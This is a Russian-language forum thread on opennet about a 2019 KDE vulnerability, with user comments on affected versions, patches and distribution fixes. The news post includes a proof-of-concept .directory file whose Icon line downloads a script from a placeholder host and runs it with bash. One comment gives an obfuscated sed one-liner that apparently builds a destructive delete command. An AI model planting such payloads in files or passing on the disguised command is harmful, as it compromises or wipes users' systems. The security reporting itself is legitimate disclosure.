URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 118081
[ Назад ]
Исходное сообщение
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено opennews , 07-Авг-19 12:31 
В KDE выявлена (https://twitter.com/zer0pwn/status/1158433002239746048) уязвимость (https://gist.githubusercontent.com/zeropwn/630832df151029cb8...), позволяющая атакующему выполнить произвольные команды при просмотре пользователем каталога или архива, содержащего специально оформленные файлы ".desktop" и ".directory". Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере или перетащил мышью ярлык на рабочий стол или в документ. Проблема проявляется в актуальном выпуске библиотек KDE Frameworks 5.60.0 (https://kde.org/announcements/kde-frameworks-5.60.0.php) и более старых версиях, вплоть до KDE 4. Уязвимость пока остаётся неисправленной (CVE не присвоен).

Проблема вызвана некорректной реализацией класса KDesktopFile, который при обработке переменной "Icon" без должного экранирования передаёт значение в функию  KConfigPrivate::expandString(), которая выполняет раскрытие спецсимволов shell, в том числе обрабатывая строки "$(..)" как подлежащие исполнению команды.  Вопреки спецификации XDG выполнение раскрытия (https://userbase.kde.org/KDE_System_Administration/Configura...) shell-конструкций производится без ограничения типа настроек, т.е. не только при определении командной строки для запуска приложения, но и при указании отображаемых по умолчанию пиктограмм.

Например, для атаки достаточно (https://github.com/RevThreat/KDE-ARBITRARY-CODE-EXECUTION-AU.../) отправить пользователю zip-архив каталогом, содержащим файл ".directory", включающим конструкцию вида:

   [Desktop Entry]
   Type=Directory
   Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

При попытке просмотра содержимого архива в файловом менеджере Dolphin  будет загружен и выполнен скрипт https://example.com/FILENAME.sh.


URL: https://packetstormsecurity.com/files/153874/KDE-4-5-KDeskto...
Новость: https://www.opennet.me/opennews/art.shtml?num=51235

Содержание
Сообщения в этом обсуждении
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:31 
Это даже не autorun виндовый, это вообще дырень. Однако не все пользуются kde-шным файловым менеджером и вообще kde.  
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Qwerty , 07-Авг-19 12:35 
Это даже не толстенький троллинг, это вообще жирень.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:51 
>Это даже не autorun виндовый

ну почему. Теперь это еще и autorun, еще ближе к захвату десктопов

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 16:38 
>>Это даже не autorun виндовый
> ну почему. Теперь это еще и autorun, еще ближе к захвату десктопов

superautorun

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Вуыкло , 07-Авг-19 12:54 
От безысходности, ибо больше пользоваться попросту нечем.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено анон , 07-Авг-19 13:09 
kde можно поставить на винду
получим двойной профит
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено оралр , 08-Авг-19 11:32 
Это говорит о том, что никто даже не думал что эти кеды и кому-то понадобиться взламывать, а следовательно и защищать. Зато пафосные сравнения с вантузом, который 20 лет сопротивляется реальным попыткам взлома.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено анон , 08-Авг-19 12:22 
> 20 лет сопротивляется реальным попыткам взлома

китайские_пионеры.jpg

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Голубой гигант , 07-Авг-19 12:32 
KDE 3.5.10 из openSUSE 15.1 подвержен?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:33 
Да
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено otmuenbg , 09-Авг-19 20:01 
так проверь там вроде просто для матерого кадешника
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено sunjob , 10-Авг-19 19:01 
подвержены,да, но
- пролечено мгновенно в TDE, после поступления сигнала
- лечится аналогично в старом KDE3 (видимо, вообще бибилотеку не изменяли с тех пор ... а че?! работает - не трогай :o)
kdecore/kconfigbase.cpp

https://mirror.git.trinitydesktop.org/gitea/TDE/tdelibs/pull...

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:33 
> достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере

в каком? midnight commander? pcmanfm? thunar?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено kamagan , 07-Авг-19 12:39 
Видимо Dolphin, Krusader и Ark
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 14:18 
В любом KDE-шном диалоге открытия файла.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Daemon , 07-Авг-19 22:43 
Я предполагаю, что это ошибка не KDE. А Qt в целом.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 08-Авг-19 08:17 
Неверно предполагаешь. Баг именно в KDE, а не в Qt.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:34 
Виндовенько.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 07-Авг-19 12:46 
Когда это в венде такой примитив был?
Или вот ещё из той же серии.
https://kde.org/info/security/advisory-20180208-2.txt

В вендах разве что конкретно упоролись с автозагрузкой. Когда включили её по умолчанию. Но это была фишка, которую специально сделали, хоть и <я даже не знаю как цензурно это назвать>. С выходом Vista (уже более десяти лет прошло) дошло, что это была плохая идея.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:07 
Было пару похожих уязвимостей с ярлыками.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Sinot , 07-Авг-19 20:49 
Вроде в Gnome было подобное с превью картинок.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 08-Авг-19 07:35 
Тсс... Не мешай гномерам ликовать.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 08-Авг-19 08:21 
Пролистал комменты, что-то как-то не видно ликования гномеров. Фантазии?
А так ничего удивительного в сабже.
Ну и в GNOME само собой разные уязвимости были. И по авторанам, и по всяким превьюшкам. Это тоже естественно, ибо заинтересованность в нём выше.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено нех , 08-Авг-19 15:07 
все просто. гномеры вымерли, ликовать некому.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 08-Авг-19 08:29 
Да было.
Я о другом - о простоте.

Ну вот почитай это. И где-то с 2010 в Windows чего-то было тоже.
Но везде как-то там серьёзно репу чесали, чтобы буфера так-сяк определёнными байтами переполнять.
https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit...

А тут просто данные в SHELL суёт код, ну и ладно...

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:46 
Прям пыхом пахнуло. В 2019 году экранирование это всё ещё сложно?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено НяшМяш , 07-Авг-19 12:53 
Конечно. В Qt этой функции, наверное, нет из-за сложности реализации. /sarcasm
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 13:17 
Просто у них нет npm.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 08-Авг-19 07:36 
А в гнгме ее просто нет. Как и многого другого.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:50 
пификсили вчера еще (в неоне), чел етот редиска канеш, но дырень огромная просто
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:01 
Интересно, где? https://packaging.neon.kde.org/?s=idle
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено anonymous , 07-Авг-19 18:58 
да, сорян, прост вчера аккурат после новости апдейты секурные какие-то прилетели, толком не смотрел что именно, вот и подумалось, что топик-релейтед
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено anonymous , 09-Авг-19 21:52 
а ващет я все-таки был прав:
https://twitter.com/kdecommunity/status/1159224511499309056
от 7го числа еще пост
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 12:55 
ls уязвим? Нет? Ну и ладно.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 16:27 
ls /bin | sed -e '/.ee$/!d' -e '/^.r../!d' -e 's%e%f%' -e 's%$%*%'  -e 's%^%r%' -e 's%e% /%' -e 's%f%m -%'
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено neAnonim , 07-Авг-19 22:46 
Так уязвим или чё? Ты вывод ls в sed отправляешь по своему желанию используя заклинание которое я рассмотреть не могу (не говоря уже о том что бы я это смог вбить)
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено anan , 07-Авг-19 12:58 
Минимум 11 лет багу
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 13:06 
И ведь кто-то наверняка знал!
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:05 
Ещё в konqueror была, когда он в KDE использовался, по-моему так и не пофиксили до перехода на Dolphin
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 19:07 
Тот кто пропатчил под неё KDE
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено IronMan , 07-Авг-19 13:18 
В Тринити будут исправлять?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено sunjob , 10-Авг-19 19:06 
> В Тринити будут исправлять?

http://www.opennet.me/openforum/vsluhforumID3/118081.html#126

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 13:19 
Самое забавное что в каком нибудь лтс кубунте этот баг никогда не исправят и там всегда будет старая багованая версия.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено iPony129412 , 07-Авг-19 15:34 
Ну это неправда.
Секурные бэкпорты же есть.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:14 
Особенно в дебиане. Нет там ничего.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 07-Авг-19 16:23 
ну это ложь
https://security-tracker.debian.org/tracker/CVE-2018-6791
Вот как "не была" никогда залатана прошлая крутая дырка в KDE.
Да, там проще было латать, но всё же.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 21:52 
Все таки в дебиане и правда могут забить на это.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 08-Авг-19 04:28 
Да, да, а ещё завтра Debian может закрыться.
Возможно всё. И естественно, что KDE в Debian пониже приоритетом.
Но всё же думать, что не наложат крохотный патч в "3 files changed, 7 insertions, 51 deletions" для высокого уровня опасной уязвимости глуповато.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 07-Авг-19 16:35 
> Самое забавное что в каком нибудь лтс кубунте этот баг никогда не исправят и там всегда будет старая багованая версия.

А вот собственно залатка в апстриме https://phabricator.kde.org/D22979
Как видно - ничего особенно сложного. Так что залатают.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 13:28 
>Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере Dolphin, загрузил вредоносный desktop-файл или перетащил мышью ярлык на рабочий стол или в документ.

Это что за статья????????

-Просто запустил KDE дистр, "перетащил мышью ярлык на рабочий стол или в документ" и получил заражение???

-Загрузил вредоносный desktop-файл от куда??? Вышел в интернет и загрузился сам???

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 16:32 
Например вирус на винде на диск кучек наклал, а KDE потом в них вступило.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 18:48 
>Например вирус на винде на диск кучек наклал, а KDE потом в них вступило.

Вы статью читали? Где там про вирус на винде?

>В KDE выявлена уязвимость, позволяющая атакующему выполнить произвольные команды при просмотре пользователем каталога или архива, содержащего специально оформленные файлы ".desktop" и ".directory". Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере Dolphin, загрузил вредоносный desktop-файл или перетащил мышью ярлык на рабочий стол или в документ.

Где тут о винде?

>Например, для атаки достаточно отправить пользователю zip-архив с каталогом, содержащим файл ".directory"

Каким нужно быть, чтобы принять файл и не проверить его?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 19:02 
>>Например вирус на винде на диск кучек наклал, а KDE потом в них вступило.
>Вы статью читали? Где там про вирус на винде?

А долго его написать? =D
Я писал о случаях когда накопитель исполюзует по очерёдно и винда и ОС с KDE, и это не токо флешки.

>Каким нужно быть, чтобы принять файл и не проверить его?

Очень занятым человеком. :)

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено neAnonim , 07-Авг-19 22:51 
> Каким нужно быть, чтобы принять файл и не проверить его?

Достаточно быть пользователем kde и установить пакет который принесет с собой .desktop

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 21:51 
Пришел к тебе человек с уже зараженной флешкой (например в винде или спецом кто постарался), ты ее открыл - радуешься.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Ilya Indigo , 07-Авг-19 13:35 
Неприятная фича.
К счастью, директории браузер загружать не умеет и прийти такое может только из архива, а Arc-ом открывать архивы безопасно.

Ещё, конечно, из git-а такое может прийти...

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:27 
Я не знаю есть ли в Плазме Konqueror, но его фишка что это интернет браузер и файловый менеджер в одном флаконе.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Ilya Indigo , 07-Авг-19 16:41 
> Я не знаю есть ли в Плазме Konqueror, но его фишка что
> это интернет браузер и файловый менеджер в одном флаконе.

Есть.
Файловый менеджер и браузер - это одно и тоже!
Многие путают интернет браузер и браузер, а это разные вещи.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 22:13 
>Многие путают интернет браузер и браузер, а это разные вещи.

Я знаю веб-браузер, а что за браузер в данном контексте?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Ilya Indigo , 07-Авг-19 22:59 
>>Многие путают интернет браузер и браузер, а это разные вещи.
> Я знаю веб-браузер, а что за браузер в данном контексте?

https://en.wikipedia.org/wiki/Browser
Похоже я и сам ошибался, браузеров (обозревателей) множество, среди них web browser и file browser, also known as a file manager.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 23:56 
Для избежания путаницы следует употреблять: веб-обозреватель (ВО) и файловый менеджер (ФМ).
https://ru.wikipedia.org/wiki/Браузер
https://ru.wikipedia.org/wiki/Файловый_менеджер
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 16:33 
Покласть в архив с какими то кистями для фоторедактора - разархивировал и заразился.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Ilya Indigo , 07-Авг-19 16:52 
> Покласть в архив с какими то кистями для фоторедактора - разархивировал и
> заразился.

Ну это и есть получить из архива.
Но Ваш алгоритм не совсем точен.
Получить архив с кистями --> тупо распаковать его не глядя в дельфине через ПКМ --> заразиться.
Если перед открытием посмотреть что ты собираешься распаковать, хотя бы чтобы посмотреть нужна ли ему субдиректория и сколько он весит, и обнаружить злополучный файл, и или удалить его или распаковать всё кроме него или вообще удалить архив, то заражение не произойдёт.

Я не в коем случае не говорю что это Лёня, напротив, омерзительный пример халатности и рукожопия, но если использовать Arc для проверки архивов, то этого опытный пользователь может избежать, пока не прилетит обновление.

А исправления для openSUSE уже в полёте https://build.opensuse.org/request/show/721476 https://build.opensuse.org/request/show/721478

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 08-Авг-19 07:43 
Чтобы распаковывать архивы, не заглядывая в них, нужно вообще быть альтернативно одаренной личностью.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 08-Авг-19 08:58 
Ну удачи в заглядывании в tar.gz без распаковки...
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 08-Авг-19 12:50 
Новость не читай
@
Сразу пиши.

Чтобы это сработало, архив нужно открыть как папку в долфине. По умолчанию эта возможность отключена в настройках, и весь просмотр осуществляется через Ark, который показывает содержимое, но не запускает выполнение .desktop-файлов.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено AVX , 07-Авг-19 13:45 
Вот же ппц... никогда бы не подумал что так можно обрабатывать путь к картинке... Надо дома протестировать как оно в реальности.  
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено AVX , 07-Авг-19 21:19 
Посмотрел - по умолчанию dolphin открывает архивы в архиваторе. Но в настройках есть снятая галочка "открывать архивы как папки". Остаётся только смотреть, что распаковываешь, а распаковывать по ПКМ.  
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 14:01 
Кто-нибудь пользуется VMware ESX?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 14:57 
Не ставятся на него кеды.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 14:04 
подвержены все у кого установлен файловый менеджер Dolphin?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено вейланд , 07-Авг-19 14:22 
Любой файловый менеджер на базе kde, а также, если используются kde-шные диалоги открытия/сохранения файлов.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 14:39 
Ну хоть скрипт выполнится из под юзера, не то что гномовоский наутилус, который давал рутовские права. Хотя безрукость конечно на лицо.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 07-Авг-19 14:48 
> не то что гномовоский наутилус, который давал рутовские права

Что-то не припомню... А что, где, когда?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 15:44 
https://www.opennet.me/opennews/art.shtml?num=49871
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено soarin , 07-Авг-19 16:07 
> В представленном 3 года назад GVFS-бекенде admin (GNOME Virtual File System) обнаружена уязвимость, позволяющая непривилегированным пользователям, присутствующим в группе wheel, без запроса пароля вносить любые правки в файловую систему с правами root.

Да как-то сабж пострашнее будет.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 15:34 
Че сказать-то хотел?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:17 
Что ГНОМ говно. Но тебе виндузятнику такие слова знать не нужно и вообще мозговую активность проявлять не нужно.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:28 
Gnome здарового человека это MATE. KDE здарового человека это TDE.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноне , 07-Авг-19 16:55 
Гноме курильщика после операции это Гноме.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 16:16 
То есть достаточно в архив по мимо интересных пользователю файлов положить этот троянчег в виде desktop файла и вуаля майнер или шпионский модуль загружен?

И эти люди кукарекуют на шиндуз?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 16:44 
То я думаю чо Дельфин так долго запускается, а это его совесть мучит...
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 17:27 
Долго запускается? Это на каком древнейшем железе? Специально замерил - на моём старом ThinkPad'e Dolphin запускается чуть больше секунды (1.3). На более современных компах будет ещё быстрее.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 07-Авг-19 18:28 
FX-8350 4.8 GHz, 16 Gb DDR3 2100 MHz, SSD Crucial MX500.
1+ сек запускается, шо много для ФМ, так как Firefox повторно запускается тоже меньше 2х сек.
А иногда вообще бывают случаи по 5 сек.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено InuYasha , 08-Авг-19 21:22 
отключи всякие фуфлоиндексаторы - и будет скорость.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 08-Авг-19 21:44 
> отключи всякие фуфлоиндексаторы - и будет скорость.

Это ж какие?

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено InuYasha , 08-Авг-19 23:37 
Как минимум - baloo, вроде бы. Смотришь фоновые процессы, читаешь маны, что это такое и гасишь, если лишнее. Я удалил всё подобное при установке ОС на ноут несколько лет назад и с тех пор не вспоминал. А ноут весьма... экономичный %) Но вообще Dolphin и у меня стартует до 5 секунд. Но там ещё влияют всякие шАры, маунты и прочее. И превьюхи, само собой.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено VINRARUS , 09-Авг-19 00:50 
> Как минимум - baloo, вроде бы.

Да его я уже даже и не помню когда отключил.

> шАры, маунты и прочее. И превьюхи, само собой.

Превьюхи никак не влияют, я проверил, потомушо обновляются уже после появления окна.
> Но вообще Dolphin и у меня стартует до 5 секунд.

Вот в этом и проблема же, а ты всё "руки помой и будет скорость" ;)

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено AlexYeCu_not_logged , 09-Авг-19 00:20 
>Долго запускается? Это на каком древнейшем железе?

На любом.
Там что-то навертели в последних релизах, так он даже с ssd может сартовать секунд 8 или 9. Причём не всегда, а после некоторого простоя: после долгого запуска гачинает опять почти мгновенно стартовать. Не запускать некоторое время — может опять длинный запуск быть, а может и не быть. Даже при уже запущенной копии может долгий запуск быть. С чем связано — никто не знает. Сетевые каталоги другую картину дают обычно — запускается сразу, но может «тупить», если они не доступны. Многие пользователи грешили на настройки самбы, но нет. Очищение всевозможных кэшей тоже эффект не дало. В консоли только безуспешные поиски каталога tags:, причём при любом запуске, хоть быстром, хоть медленном. Индексеры и так всегда отключены. Загадка, в общем.
Не начни разраб Nemo косплеить аутиста — свалил бы с Dolphin-а.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 17:21 
Переходите на QubesOS и не парьтесь
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Dmitry77 , 08-Авг-19 08:31 
А там этого бага нет?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 07-Авг-19 18:23 
с почином
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Анонимно , 07-Авг-19 20:26 
Линукс безопасен, говорили они...
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено neAnonim , 07-Авг-19 22:55 
А потом пришли шифровальщики, .rhost, выполнения кода при взгляде на иконку... популярность пришла. (Когда пользователи начнут еще и платить в стим, а не просто ставить, тогда начнется )
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено anonymous , 08-Авг-19 07:15 
Да вроде бы только ленивый не говорил, что userspace-комбайны -- это бажно и небезопасно.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним 80_уровня , 08-Авг-19 15:58 
Где-то нахмурился один Лёня.
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Dmitry77 , 08-Авг-19 08:31 
Интересно кто является коммитером этого бага?
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 08-Авг-19 12:26 
CVE-2019-14744
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Георгий , 08-Авг-19 12:28 
Исправлено
https://cgit.kde.org/kconfig.git/commit/?id=5d3e71b1d2ecd2cb...

В версии kconfig 5.61.
https://kde.org/info/security/advisory-20190807-1.txt

Сейчас в KDE Neon еще 5.60. Не знаю, есть ли там этот патч в текущей сборке.

"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено InuYasha , 08-Авг-19 21:26 
Вот к чему приводит тяга к копанию в контенте вместо его отображения!
А вы удивляетесь, почему современные фэйл-менеджеры такие торомзные!
Отрубить нахрен все превьюхи. Хотя, конечно, даже в имени файла может закрасться эксплоит (по-моему, такое было в макоси или подобном).
"Уязвимость в KDE, позволяющая выполнить код при просмотре сп..."
Отправлено Аноним , 09-Авг-19 12:26 
Давайте попробуем разобраться без злорадства.

> Проблема вызвана некорректной реализацией класса KDesktopFile, который при обработке переменной "Icon" без должного экранирования передаёт значение в функцию KConfigPrivate::expandString(), которая выполняет раскрытие спецсимволов shell, в том числе обрабатывая строки "$(..)" как подлежащие исполнению команды.

Эта проблема не частный случай касающийся конкретного куска KDE. Это вообще проблема взаимоотношения DE и оболочки. Сегодня (10 лет назад) на этом споткнулся один разраб, а завтра споткнётся другой. Чтобы обратиться к ресурсному файлу (Icon - явно ресурс) необходимо открыть файл на чтение и прочитать данные +/- какое-то смещение. А тут не просто выполнением занимаются, тут ради иконки запустили целую оболочку! Подумайте, как просто разработчику добраться из графики в оболочку и совершить похожую ошибку.

Тут уже многие писали, что в венде были похожие уязвимости. Я же скажу что этот архитектурный недочет был внутри Win9x. Надо полностью отлучать графику от оболочки. Нужно, чтобы для работы графических API нужно было явно создавать новые экземпляры оболочки, если разработчик хочет запустить скрипт. И тут важно понять разницу между "запустить файл оболочки" и проинстанцировать. В первом случае для запуска оболочки требуется оболочка, а во втором случае создаётся экземпляр оболочки.

Когда оболочку решили убрать из системы инициализации... до сих пор вонь повсюду. А представьте если отлучить её от приложений и целиком завернуть в API... это уже Linux NT какой-то.